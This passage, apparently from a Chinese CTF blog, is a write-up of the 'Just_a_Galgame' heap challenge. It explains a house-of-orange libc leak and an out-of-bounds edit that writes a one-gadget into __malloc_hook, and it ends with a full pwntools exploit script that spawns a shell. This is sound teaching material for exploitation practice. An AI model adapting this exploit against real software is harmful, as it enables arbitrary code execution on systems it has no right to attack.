  puts("\n(='3'=)>daisuki~\n");
  continue;
}

分析完题目,我们发现程序并没有提供free功能,那么就需要利用house-of-orange,利用功能二的堆溢出修改topchunk的size,然后申请0x1000的chunk将topchunk放入unsortedbin,然后再通过功能一从unsortedbin中切割chunk,接着show一下,得到libc地址

topchunk的大小需要满足

size&0xfff

我们申请了一个0x68的chunk后topchunk还剩下0x20d41,0x20d41&0xfff=0xd41

有了libc地址该如何利用?

注意到edit功能并未对index检测越界,而leave功能读入的位置在管理chunk的数组下方

.bss:0000000000404060 ; __int64 qword_404060[7]
.bss:0000000000404060 qword_404060    dq ?     
..................................
.bss:00000000004040A0 unk_4040A0      db    ? ;               ; DATA XREF: main+270↑o
.bss:00000000004040A0                             

所以我们往0x4040a0处写入malloc_hook-0x60(因为edit是往chunk+0x60处写入的,我们要往malloc_hook写入onegadget就需要将chunk的指针设置为malloc_hook-0x60),然后根据偏移得到0x4040a0的index为8,利用edit往malloc_hook写onegadget即可,exp如下

from pwn import *
context.log_level = 'debug'
io = process('./Just_a_Galgame')
elf = ELF('Just_a_Galgame')
libc = ELF('libc.so.6')
onegadget = [0x4f365, 0x4f3c2, 0x10a45c]

def add_0x68():
    io.recvuntil('>> ')
    io.sendline('1')


def edit(index, content):
    io.recvuntil('>> ')
    io.sendline('2')
    io.recvuntil('idx >> ')
    io.sendline(str(index))
    io.recvuntil('movie name >> ')
    io.send(content)


def add_0x1000():
    io.recvuntil('>> ')
    io.sendline('3')


def show():
    io.recvuntil('>> ')
    io.sendline('4')


def leave(content):
    io.recvuntil('>> ')
    io.sendline('5')
    io.recvuntil('QAQ\n')
    io.send(content)


add_0x68()
edit(0, 'a'*8+p64(0xd41))
add_0x1000()
add_0x68()
show()
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3ec2a0
log.success('libc_base => {}'.format(hex(libc_base)))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
one_gadget=libc_base+onegadget[1]
log.success('malloc_hook => {}'.format(hex(malloc_hook)))
log.success('one_gadget => {}'.format(hex(one_gadget)))

leave(p64(malloc_hook-0x60))
edit(8,p64(one_gadget))
add_0x68()

io.interactive()

文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
qiling框架学习 qiling框架学习
qiling框架能够做到 麒麟框架不仅仅是一个仿真平台或逆向工程工具。它还将“二进制插桩”和“二进制仿真”结合一起。并解决了应用程序不能在隔离环境里运行并且高度依赖于操作系统的问题。由于大量的操作系统支持,麒麟框架为二进制分析提供了无限的
2020-09-19
下一篇 
IO_FILE学习 IO_FILE学习
本文用于记录IO_FILE的利用原理思路以及构造模板 首先我们知道内核启动的时候默认打开3个I/O设备文件,标准输入文件stdin,标准输出文件stdout,标准错误输出文件stderr,分别得到文件描述符 0, 1, 2,而这三个I/
2020-08-08
  目录